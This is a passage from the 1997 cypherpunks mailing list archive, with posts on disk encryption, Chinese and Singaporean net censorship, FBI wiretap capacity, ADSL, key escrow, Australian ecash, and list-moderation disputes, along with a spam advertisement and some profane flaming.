>   It wouldn't hurt to provide details of what commands you are sending
> to the majordomo and what you receive back from it.
> 
> Toto
> 
I have done the un do thing will al options and it removed me when i first
did it. But im still on it neway?
What more detials can i provide?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 21 Jan 1997 23:18:09 -0800 (PST)
To: "David E. Smith" <dsmith@prairienet.org>
Subject: Re: Encrypting ZIP drives?
Message-ID: <3.0.32.19970121231633.006e2694@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 12:21 AM 1/22/97 -0600, David E. Smith wrote:
>At 09:35 PM 1/21/97 -0800, you wrote:
>>I am looking for a transparent (strong) encryption of ZIP drives.
>>Any advice would be appreciated.
>
>IBM or Mac?

Parallel on Win95.

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 21 Jan 1997 22:19:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fighting the cybercensor. (fwd)
Message-ID: <199701220611.AAA06975@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 21 Jan 1997 13:50:15 -0500
> From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
> Subject: Fighting the cybercensor.
> 
> Singapore and China are blocking certain net groups. I think
> this is a bad thing, question is how can we stop it?

'We' shouldn't, it is their own country and it is up to their populace to
stop it. Do you really want Singapore or China having a say in how we run
our web? I certainly don't, and won't support any move to force any
particular view on them. If Billy-Bob wants to shoot himself in the foot,
let him. Might be purty funny to watch.

> The Web was conceived as offering despots and dictators a choice 
> between remaining in the dark ages and allowing freedom of
> speech. Blocking and filtering schemes threaten this ideal.

Bull, the web was conceived so physicist and other researchers could share
data in a easily digestible format. The web and technology in general have
no more ethics or morality intrinsicly in them than a 5/8" open end
wrench. Blocking and filtering are an expression of human choice and the
implimentation thereof. You don't like it, don't live there and don't try to
call there. You or I have no more right to be on a Chinese or Singapore
Internet than they have in coming into yours or my home without an invitation.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 00:32:20 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Dr. Vulis' social engineering "experiment"
In-Reply-To: <199701220638.BAA02052@mercury.peganet.com>
Message-ID: <32E5CD25.74BB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> Sean Roach <roach_s@alph.swosu.edu> wrote:
> > At 02:22 AM 1/21/97 -0800, Toto wrote:
> > >Bill Campbell wrote:

> > I believe he is referring to silencing the list, not Vulis.  As long as the
> > members of this list are argueing over semantics, the government has one
> > less challenger in the fight over our rights.
> > Remember, one of the oldest tactics of war is to turn the enemy against itself.

> I fear that many have now left the list, since it now seems to resemble,
> in many ways, a list consisting of high school age "wannabes" who think
> it's really cool to attack people just because they can. The downward
> spiral into inconsequential meaningless postings began with posts
> containing the word "fart".  So cool, dudes.

The list only suffers when you guys stop posting crypto/political
info.  For example, if tomorrow there are 100 new posts, and 10 of
them are crypto/political relevant, and 10 more are like this one
(I'm ignoring the other 80 for this example), then the list is only
10% relevant.  Take away these 10, and it's 11.1%, but 10 less posts
to read.  Turn these 10 into something relevant, and voila(!), the
list is now 20% relevant.

You see, it's up to you, Bill.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Tue, 21 Jan 1997 22:20:04 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Encrypting ZIP drives?
Message-ID: <3.0.32.19970122002100.0069b564@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


At 09:35 PM 1/21/97 -0800, you wrote:
>I am looking for a transparent (strong) encryption of ZIP drives.
>Any advice would be appreciated.

IBM or Mac?

Methinks (and I haven't tried it, but I think I will soon) that
at least on the IBM side, the usual realm of existing software
(SecureDrive/SecureDevice are the first things that come to
mind) ought to work.  After the Iomega ZIP drivers are in place,
the Zip drive is 'just another drive' as far as most applications
can see.

dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BUSINESS@VNET.NET (CHAMBER OF COMMERCE)
Date: Tue, 21 Jan 1997 17:00:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Adult Chamber of Commerce is now open
Message-ID: <32E566AC@VNET.NET>
MIME-Version: 1.0
Content-Type: text/plain


            ARE YOU A BUSINESS OWNER WITH A WEB SITE?

    We got your E-mail address from your Business newsgroup posting.
        We did not put your E-mail address on a mailing list!

IF YOU ARE A BUSINESS OWNER WITH A WEB SITE, you should know that The Adult
Chamber of Commerce represents professional ADULT businesses on the Web.
The amount of traffic to our Web site is astounding.  A massive portion of
the Web has Doctors, Lawyers, Accountants, your neighbors, and all sorts of
people (buyers) visiting dult sites.  It's just the nature of the Web.

YOU CAN CAPTURE SOME OF THIS MASSIVE TRAFFIC TO YOUR WEB SITE through a
Membership in The Adult Chamber of Commerce.  All member companies, Adult &
Non-Adult, get listed in the Chamber member links section with an icon that
indicates you do business in accordance with the Better Business Practices
of The Adult Chamber of Commerce.  This listing literally guarantees
significant additional traffic to your Web site.

Membership in The Adult Chamber of Commerce is omething you should
consider if you are interested in getting greater exposure on the Web.
Member companies proudly display the Adult Chamber Logo on their web sites.

Each company is checked out before membership is approved.  Since it costs
a business as little as $240 annually for membership, it's not expensive
for a company to tell others that they support the only professional
organization for responsible ADULT businesses.  A business applies for
membership at the Adult Chamber Web site and visitors reularly check to
see if the company [they're planning to buy from] is a Member in Good
Standing.

      The Adult Chamber of Commerce web site is the place to find
           the BEST & most responsible companies on the Web.

             ==============================================
             Visit and Bookmark http://www.adultchamber.com
             ==============================================

Here is how we tell buyers about the Chamber:

     The Adult Chamber of Commerce is on the Internet to prtect you.

   ALWAYS look for the Adult Chamber Logo BEFORE BUYING ANYTHING ADULT.
The Chamber is here to help separate professional adult companies from the
many thousands that are online.  Visit the Chamber links often!

IF YOU OWN A BUSINESS, applying for MEMBERSHIP to The Adult Chamber of
Commerce is easy.  The Web site has an online application.  Memberships are
processed daily and increasing traffic to your Web site is as easy as
becoming a member!  The chamber has other services besides increasing
trffic to your Web site.  We design, re-design and host Web site
professionally.  Visit www.adultchamber.com for the whole story and you
will see why membership is a good idea for any business.  We hope to see
your company support the Chamber.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Tue, 21 Jan 1997 22:46:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701220638.BAA02052@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach <roach_s@alph.swosu.edu> wrote:
> At 02:22 AM 1/21/97 -0800, Toto wrote:
> >Bill Campbell wrote:
> >
> >> I feel we at a *critical* crossroads in this debate, and one of the
> >> more important voices has *very* effectively been silenced.
> >
> >  Dr. Vulis? There was an 'attempt' to silence him, but it hasn't 
> >worked, to date.
> > 
> I believe he is referring to silencing the list, not Vulis.  As long as the
> members of this list are argueing over semantics, the government has one
> less challenger in the fight over our rights.
> Remember, one of the oldest tactics of war is to turn the enemy against itself.

  I thought my meaning was obvious, but thanks for pointing it out
to those who didn't get it.
  When I first began reading this list, I realized that a lot of
important information was being put out; and it certainly raised
my awareness of issues that I had not previously thought about.
I believe that many other subscribers to the list also were exposed
to many of these concepts, and that many subscribers to the list
were people who could make a difference.
  I fear that many have now left the list, since it now seems to
resemble, in many ways, a list consisting of high school age
"wannabes" who think it's really cool to attack people just
because they can.
  The downward spiral into inconsequential meaningless postings
began with posts containing the word "fart".
  So cool, dudes.

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 22 Jan 1997 02:17:25 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701220611.AAA06975@einstein>
Message-ID: <32E5F6F0.38F8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> 'We' shouldn't, it is their own country and it is up to their populace to
> stop it. Do you really want Singapore or China having a say in how we run
> our web? I certainly don't, and won't support any move to force any
> particular view on them.

  And Germany was Hitler and the Nazi Party's own country.
  Do you really want Clinton and GingWretch having a say in how we run
our
web? (I don't).
  It may be 'their' country ('their' being the government), but it is 
'their' world ('their' being the people). There was a reason that the 
Western powers didn't return East Germans who broke the laws of their
country by climbing over the wall and running for freedom.
  Making information available does not 'force' a view on anyone.

> > The Web was conceived as offering despots and dictators a choice
> > between remaining in the dark ages and allowing freedom of
> > speech.

  I want a couple of whatever this guy is on.

> Bull, the web was conceived so physicist and other researchers could share
> data in a easily digestible format. 

  No. The internet was conceived so that the DOD could monitor the
communications
of physicists and researchers who thought it was awfully nice of the
government
to provide this wonderful method of sharing data and information.

  Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 22 Jan 1997 04:14:06 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re:
In-Reply-To: <32E5AFA8.768E@gte.net>
Message-ID: <Pine.SUN.3.91.970122040309.10316B-100000@crl5.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Tue, 21 Jan 1997, Dale Thorn wrote:

> Mixmaster wrote:
> 
> > Is there a moderated list available which expunges only Dale?
> > The good Dr., though vicious, is really quite clever, though vicious.
> > Dale is only a bore. Only.
> > Hugs to all.
> 
> I laughed so hard I nearly peed my pants.  BTW, does the word
> "peed" make this post go into the dumper??  [hee hee]
> 
> 

No.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Richard L. Field" <field@pipeline.com>
Date: Wed, 22 Jan 1997 02:29:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Technical data" exemptions in new crypto regs
Message-ID: <1.5.4.16.19970122053234.44ff22a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


  That would be Samuel Slater, who built his mill in Pawtucket, Rhode Island
(still there, on Roosevelt Avenue) in 1793.  He reproduced his former boss's
factory from memory in order to collect on a bounty offered in the US on the
export-restricted patent.

  - Richard Field



At 06:39 PM 1/21/97 -0500, Sean Roach <roach_s@alph.swosu.edu> wrote:

>This has often reminded me of something that occurred around 1776.
>I can't remember if it was before or after.
>Remember how the colonies got sophisticated spinning gear?
>I believe it was spinning gear.
>Great Britain had a ban on the export of functional models, diagrams or
>manufacturing instructions to one particular class of equipment.  This was
>so that they could maintain the monopoly on cheaply made cloth, holding the
>outlying colonies in line by maintaining a dependancy.
>One man memorized the structure of one of these machines and then came to
>the American shores, where he reproduced it workably.
>
>I can't remember the name of the man or the machine, just that it was used
>in the manufacture of cloth, the "spinning jenny" i think.  Nor can I
>remember the date.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 22 Jan 1997 06:02:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI Gets 500 Mil to Tap Your Communications
Message-ID: <v02140b01af0bcea6142d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>||| FBI moderates its communications-surveillance request |||
>
>TBTF for 5/4/95 [6]
>
>In 1995 the FBI asked for and was granted $500 million to augment the
>government's ability to tap communications (of this total $100M has
>been released to the FBI so far). Privacy advocates expressed outrage
>at the FBI's stated capacity goal: to be able to listen in on 1% of
>installed telephone lines at any time. This translates to about 1.6
>million taps simultaneous of all kinds: pen registers, trap-and-trace,
>and wiretaps. The FBI withdrew its initial proposal under fire and on
>1/14 submitted a revised proposal -- press release at [7], analysis
>at [8]. Unlike the earlier draft, this essay lays out its assumptions
>and straightforwardly projects needed capacity growth. The result is
>a capacity figure of fewer than 60,000 intercepts, less that 4% of
>the original request. This level of capability would allow the FBI
>simultaneously to monitor more than 500 phone lines in an area with
>the population of Manhatta still an enormous increase on historical
>numbers of intercepts.
>
>[6]  <http://www.tbtf.com/archive/05-04-95.html>
>[7]  <http://www.fbi.gov/pressrel/tele/telephon.htm>
>[8]  <http://www.cdt.org/publications/pp_3.01.html>
>

At least as important was their request to legally tap any telephone line
for 48 hours w/o a warrant.  What ever happended to that?

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 22 Jan 1997 06:14:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ADSL (Was: GSM technology
Message-ID: <v02140b02af0bd0e79bf7@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
>>       Does anyone use ADSL lines?  or are they still very expensive?
>
>They're not widely available yet; I don't know if any of the (US)
>phone companies offer it as more than trials.  One limitation is that
>the technology works over copper wire, so it has to be offered at
>your local telco wire center.  Of course, your local telco has to
>have something useful to do with the bits once the user sends
>them to the telco, and has to have some useful bits to send the user.
>This means they've got to haggle about standards for 5 more years
>(or just do the right thing and deploy IP, with some respectable
>bandwidth to the outside world) (or deploy ATM to get a layer 2
>connection to something outside.)

That was the intent of at least one sectio of the recently enacted Telecom
Reform Act, but now the Baby Bells are trying to block local access
provisions in the SC which would allow, for example, ISP to offer
ISDN/ADSL/HDSL via their own CO equipment (bypassing the telco switches).

>
>Don't know if the telcos have a clue about pricing, either.
>It's obviously got to be more than cost, but they'll probably
>thrash around a lot the way they did with IP....
>
>#                       Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Tue, 21 Jan 1997 22:56:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fascist cocksuckers: 0, Freedom of speech: 1
Message-ID: <19970122065600.27658.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


>> John Young wrote:
>> >  Governments in China, Burma and
>> >  Singapore have already tried to discipline this on-line activity with
>> >  minimal success.
>>
>>   Do you have any pointers to information in regard to this, or are you
>> just being a goddamn tease?
>
>For example, the fascist cocksuckers Sandfart and Geekmore have been
>totally impotent in their failed attempts to suppress free speech.
>
>Gilmore's as inept as the governments of China, Burma and Singapore combined.
>
>        FUCK CENSORSHIP.  FUCK EFF (EFFEMINATE FASCISTS FOUNDATION).
>
>---
>

Seems as if you've been censored!  Bummer, dude!

0tto

otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Tue, 21 Jan 1997 22:59:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor.
Message-ID: <19970122065951.28605.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


>From cypherpunks-errors@toad.com Tue Jan 21 16:57:46 1997

>"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
>
>> Mission:
>>
>> Singapore and China are blocking certain net groups. I think
>> this is a bad thing, question is how can we stop it? The Web
>> was conceived as offering despots and dictators a choice
>> between remaining in the dark ages and allowing freedom of
>> speech. Blocking and filtering schemes threaten this ideal.
>
>Phil, when I saw the subject, I thought this was another article
>condemning Gilmore, Sandfort, and their disgraceful censorship.

What's up with this one getting censored?  You didn't say cocksucker or fuck or
anything?

Otto

otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 22 Jan 1997 07:48:44 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor.
Message-ID: <199701221548.HAA25171@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:50 PM 1/21/97 -0500, Phillip M. Hallam-Baker wrote:
>Mission:
>
>Singapore and China are blocking certain net groups. I think
>this is a bad thing, question is how can we stop it? The Web
>was conceived as offering despots and dictators a choice 
>between remaining in the dark ages and allowing freedom of
>speech. Blocking and filtering schemes threaten this ideal.
>
>
>Requirements:
>
>A scheme which makes blocking of individual IP addresses 
>impractical.
>
>
...
>2c) Some crypto hack I can't quite work out (hence the post to
>cypher punks). I can phrase the challenge more compactly though.
>We have two sets of opposed groups A and M. The A group wish to
>establish a continued conversation with groups B and C. M is 
>willing to permit communication with group B but not C. Whenever
>M discovers that a member of group B is willing to act on behalf 
>of group C, M transfers that member to the C group.
>
>The problem is to keep A's channels of communication open despite
>the efforts of M for very large group sizes. 
>
...
>
>Comments? If people are willing to work on this I can provide 
>some facilities and act as a media contact.
>
I believe that I heard a suggestion here once involving accepting Vulis's
posts, all of them, but only distributing them to Vulis.
I have also heard, on a web-based bulliten board (please excuse the
spelling), about setting up a proxy for the CDA supporters routing all of
thier requests to a VAX loaded with only "clean" stuff, either by
engineering it for them, or routing all of thier communications to an
existing "clean" site.
The idea here is, if the government doesn't know what sites to block, i.e.
thier in office checks of said site checked out but everyone gets a
different look, they can't block them.  To begin blocking proxies, they
would have to get spies in the population to tell them where the "trash" is,
or pay a bounty for every such site, which they would then have to figure
out how to verify.  This would require spies on our part as well.  Ones to
say that so-and-so citizen has been informing to the government so that the
operators could put that citizen on the government list, the list of people
to give the filtered "wholesome" feed to.
Such an effort would require a great amount of effort and would probably be
best suited to the EFF or other existing freedom protection organization.
The setup would be similair to a "pirate broadcast" in the views of the
government and would thus be best operated from safe shores.
The spy ring would be simple.
A e-mail address or other semi-secure drop-off point would be maintained for
snitches.  This address would be well advertised on the board, a SINGLE system.
When a tattler is fingered by a fellow tattler, the government side tattler
is baited with highly inflammatory, but mostly worthless, articles about the
government.  If the site is blocked, the informer is blocked.
There are several kinks to work out.
The single site would be easier to maintain, having "disposible" repeater
sites which the government can see to block.  Thus the main site would never
be seen unshielded, though if it was, it wouldn't mean anything.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 22 Jan 1997 09:52:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Seismic Crypto
Message-ID: <199701221752.JAA26468@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:39 PM 1/21/97 -0500, John Young wrote:
>In a NYT report today on a "mysterious" blast in the
>Australian outback in 1993, there's mention of "seismic
>weapons" and research on them by Nicholas Tesla
>in the 1930s.
>
>Would any of our weapons connoisseurs have more
>info on what these are and how they were supposed to
>work? Electrical, chemical, nuclear?
...
Pick up a copy of the Johnson Smith Catalog, lots of fun to read and they
sell t-shirts with greys on them.
The catalog sells several "contriversial" books and tapes, including psycic
healing techniques, astral projection, the infamous alien autopsy tape, and
several books about and works by Tesla, including one specifically about the
device that you are talking about.
On another thread, pick up the Cheek3 Scanner modification guide while your
at it, I hear that it is a good resource.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 22 Jan 1997 07:17:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: EZP_ikn
Message-ID: <1.5.4.32.19970122151051.006d4334@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


01-21-97:
 
"Method and apparatus for end-to-end encryption of a data
packet in a computer network (Assignee -- Digital Equipment
Corporation)"

  Inventor(s): Hawe, William R., Lampson, Butler W., Gupta, Amar


"Mykotronx Upgrades US Army Satellite Comms"

  Mykotronx will develop and manufacture the refurbished Batson 
  encryption subsystem, called the RBatson. Also known as KIG-34, 
  the system will provide critical command and control protection 
  for the US Defense Satellite Communication System (DSCS), 
  including encryption, authentication, and anti-jamming 
  capabilities.

-----

EZP_ikn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Wed, 22 Jan 1997 07:14:01 -0800 (PST)
To: stewarts@ix.netcom.com>
Subject: RE: ADSL (Was: GSM technology
Message-ID: <9700228539.AA853956802@smtplink.alis.ca>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> wrote re: ADSL lines>
They're not widely available yet; I don't know if any of the (US)
phone companies offer it as more than trials.  One limitation is that
the technology works over copper wire, so it has to be offered at
your local telco wire center.
 
A previous poster mentioned that because of the copper wire restriction, that
they may deploy first in older centers. This would appear to be the case, since
a Canadian telco (Sasktel) is offering ADSL in Saskatoon for 60$/month with
unlimited internet access. Saskatoon falls into this category - in my opinion.
 
I was only is SK briefly over New Years, but perhaps Toto can fill in details.
 
James





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Wed, 22 Jan 1997 08:39:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: EZP_ikn
In-Reply-To: <199701221555.HAA25232@toad.com>
Message-ID: <32E642D0.5A82@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
> 01-21-97:
> 
> "Method and apparatus ...
> 
>   Inventor(s): Hawe, William R., Lampson, Butler W., Gupta, Amar

I thought Lampson worked for Microsoft?

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 22 Jan 1997 07:50:20 -0800 (PST)
To: mech@eff.org
Subject: David Kahn advocates GAK
Message-ID: <199701221607.LAA15068@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


In today's (22 Jan 97) Long Island, NY Newsday Viewpoints, p. A31:

"Let Feds Overheard Cellular-Phone Talk"
by David Kahn (an editor at Newsday and author of "The Codebreakers")

He intones the usual horseman: "...such criminals as terrorists, drug-
runners, kidnappers and child-pornographers are increasingly using 
encryption to conceal their plans and activities, the FBI says."

He also mis-states opponenents of GAK positions, claimingthe 
criticism is that "key escrow [at least he doesn't call it key 
recovery] won't work all the time", ignoring anti-GAK mentions of 
COINTELPRO, J.Edgar Stalin^H^H^H^H^H^HHoover, etc. etc.
And the usual nonsense about "every day that criminal messages can be 
heard is a gain" w/out noting that anyone smart enough to use crypto 
now will not use it if GAK is fully implemented.

Newsday is part of the LA Times Syndicate, so member papers may also 
have the same viewpoint appearing in their pages within the next 
couple of days.

Their website is http://www.newsday.com ... I don't know if the 
viewpoint is on-line there.

Rob



-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 22 Jan 1997 08:38:38 -0800 (PST)
To: Bill Stewart <jcr@idiom.com>
Subject: Re: Donna Rice, etc.
In-Reply-To: <199701221212.EAA23251@toad.com>
Message-ID: <v03007878af0bec8d4271@[139.167.130.249]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:50 am -0500 1/22/97, Bill Stewart wrote:
>>Yes, it's the very same Bimbo who scuttled Gary Hart's campaign,
>I think you have to give Gary all the credit for that;
>the "Hey, I'm not doing anything wrong and you could follow me
>around 24 hours a day and not find anything" bit convinced me that
>Hart was a major flake

A pal of mine from Mizzou was the photographer who took the Donna/Gary
lap-sit photo.

He got the Pulitzer prize.

Whole episode says more about American "journalism" than anything else, and
*I'm* a congenital Republican.

ObGeodesicMarkets: It was a joke about Donna Rice that got me thinking
about the speed of information propagation in the capital markets. ("What
did Donna Rice say when the reporters caught her leaving Gary Hart's house?
She said she was taking a poll. <hyuk!>)  The joke appeared on the Morgan
Stanley equity trading desk no more than 15 minutes after the story hit the
Reuter's newswire. In that time, the joke was thought up, somewhere in the
world, and disseminated all over, ending up in the midwestern hinterlands
of Chicago, by way of London. Since trading desks talk to each other with
direct lines, the network formed by them is a geodesic one, even though
people are the "switches".

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 22 Jan 1997 08:33:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: David Kahn advocates GAK
Message-ID: <1.5.4.32.19970122162811.006c47b0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Yep, thanks for the pointer, Rob. Kahn's online at:

   http://www.newsday.com/mainnews/rnmi0522.htm

Anybody unable to access, send us a note:

KAH_nak






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 22 Jan 1997 10:36:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Aussie Ecash at Advance Bank
Message-ID: <v0300787daf0bf6442966@[139.167.130.249]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Ian Grigg <iang@systemics.com>
MIME-Version: 1.0
Precedence: Bulk
Date: Wed, 22 Jan 1997 16:42:59 +0100
From: Ian Grigg <iang@systemics.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: Aussie Ecash at Advance Bank

<snipped Received headers>
From: Edward Breese x1364 <edwardb@executive.advance.com.au>
To: ecash-merchant <ecash-merchant@advance.com.au>
Subject: ecash - latest news
Date: Tue, 21 Jan 97 17:44:00 EST
Message-Id: <32E47395@central.advance.com.au>
Encoding: 41 TEXT
X-Mailer: Microsoft Mail V3.0
Sender: ecash-merchant-request@whitetail.advance.com.au
Resent-Message-Id: <B0000000184@whitetail.advance.com.au>
Resent-From: ecash-merchant@whitetail.advance.com.au
X-Unsub: To leave, send text 'LEAVE' to
<ecash-merchant-request@whitetail.advance.com.au>


Dear ecash  enthusiast,

A short note to let you know that the ecash System Integrators kit was
posted on the Internet last week.
You can find it at: www.advance.com.au/advance/ecash/sysint.htm

We are currently testing the ecash system internally here at Advance Bank.
 We hope to make the merchant software available for free download in the
next 2-3 weeks - you will then be able to start building and testing your
ecash enabled web sites.

There will also be supporting documentation, such as:
 - the ecash merchant information kit
 - how to build an ecash shop
 - ecash usage guidelines etc

Thank you again for your interest.  We'll let you know as soon as the
software is available for download.

Advance Bank




Subscription Information
========================

To subscribe to the ecash mailing list by e-mail:
Send an email message to ecash-merchant-request@advance.com.au and in the
BODY of the message type:

SUBSCRIBE

If you'd like to remove yourself from the ecash mailing list:
Send an email  message to ecash-merchant-request@advance.com.au and in the
body of the message type:

UNSUBSCRIBE






--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Tunnicliffe" <Tunny@inference.com>
Date: Wed, 22 Jan 1997 12:23:29 -0800 (PST)
To: "'WlkngOwl@unix.asb.com>
Subject: RE: David Kahn advocates GAK
Message-ID: <c=US%a=_%p=Inference%l=LANDRU-970122201953Z-17619@landru.novato.inference2.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Robert Rothenburg 'Walking-Owl' <WlkngOwl@unix.asb.com> writes:
  > In today's (22 Jan 97) Long Island, NY Newsday Viewpoints, p. A31:
  
  > "Let Feds Overheard Cellular-Phone Talk"
  > by David Kahn (an editor at Newsday and author of "The
Codebreakers")
  
  > He intones the usual horseman: "...such criminals as terrorists,
drug-
